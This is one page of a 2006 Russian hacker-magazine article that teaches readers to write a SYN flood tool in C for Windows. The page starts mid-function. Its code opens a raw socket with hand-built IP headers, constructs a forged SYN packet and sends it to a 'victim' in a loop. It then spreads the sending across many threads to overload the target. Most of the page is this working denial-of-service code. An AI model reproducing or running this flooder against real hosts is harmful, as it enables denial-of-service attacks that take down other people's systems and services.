Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #91, ИЮЛЬ 2006 г.

Excalibur на Си

Wolf D.A. aka payhash

Хакер, номер #091, стр. 091-128-4


* возвращаем */

memset(inetfragment, 0, sizeof(struct br0_ip) + sizeof(struct br0_tcp));

memcpy(inetfragment, tcpip, sizeof(struct br0_ip) + sizeof(struct br0_tcp));

return inetfragment;

}

После того как мы собрали фейк-пакет, его нужно как-то доставить адресату. Что же необходимо для этого сделать? Для этого нам нужно элементарное умение работать с RAW Sockets, то есть с сырыми сокетами. Для каждой конкретной ОС это делается по-своему, хотя отличия эти не так уж критичны (кстати, про работу с RAW SOCKETS в Х мы уже писали, переворачивай подшивку «Кодинга». - Прим. редактора).

До недавнего времени такие вещи можно было делать только в *nix-системах, но после выхода NT-технологии виндовые программисты тоже получили свой кусочек счастья. Как же это все же делается?

Легко! HANDLE на сырой сокет создается следующим вызовом:

if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)

{

printf("WSAStartup Error!\n");

}

if ((skt=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

{

printf("Socket Setup Error!\n");

}

flag=1;

if (setsockopt(skt,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)

{

printf("setsockopt IP_HDRINCL error!\n");

}

nTimeOver=1000;

if (setsockopt(skt, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)

{

printf("setsockopt SO_SNDTIMEO error!\n");

}

После этого нужно вызывать нашу функцию по сборке фейк-пакета, сделать это можно таким образом:

constructpacket(inetfragment, srcaddr, dstaddr, dstport);

После чего отправляем его на HOUSE :), а точнее – вот так:

for(I=0; I<TN; I++) // TN количество отправляемых раз

{

/* Отправляем фейк-пакет на удаленную систему*/

rect=sendto(skt, inetfragment, sizeof(struct br0_ip)+sizeof(struct br0_tcp),

0, (struct sockaddr*)&addr_in, sizeof(addr_in));

if (rect==SOCKET_ERROR)

{

printf("send error!:%d\n",WSAGetLastError());

}

else

printf("send ok!\n");

}

В общем, весь описанный код желательно объединить в одну большую функцию (для чего - читаем ниже), обзовем ее ThreadSynFlood, и общий ее синтаксис будет следующий:

unsigned __stdcall ThreadSynFlood(void *arg)

{

/* Здесь должен быть ваш «хлам» (эмуляция IPv4 SYN пакета, отправление его жертве),

все то, что мы с вами разбирали выше. */

}

А где же результат?

Все это очень хорошо, но мы ни как не вписываемся в третий постулат, поскольку нет нагрузки на систему. Тут уже нас подстерегают некие трудности. Например, циклами тут не отделаться, поэтому стоит задуматься о многопоточном программировании. Многопоточность на языке всех времен и народов можно организовать по-разному, но лично я использовал технологию трейдексов (для более глубокого изучения стоит посмотреть MSDN). Итак, углубимся в следующий пример:

for(tncount=0; tncount < TN; tncount ++)

hThreads[tncount] = (HANDLE)_beginthreadex(NULL, 0,

&ThreadSynFlood, InitParam, 0, &uThreadIDs[tncount]);

WaitForMultipleObjects(TN, hThreads, TRUE, INFINITE);

for(tncount=0; tncount < TN; tncount ++)

Назад на стр. 091-128-3  Содержание  Вперед на стр. 091-128-5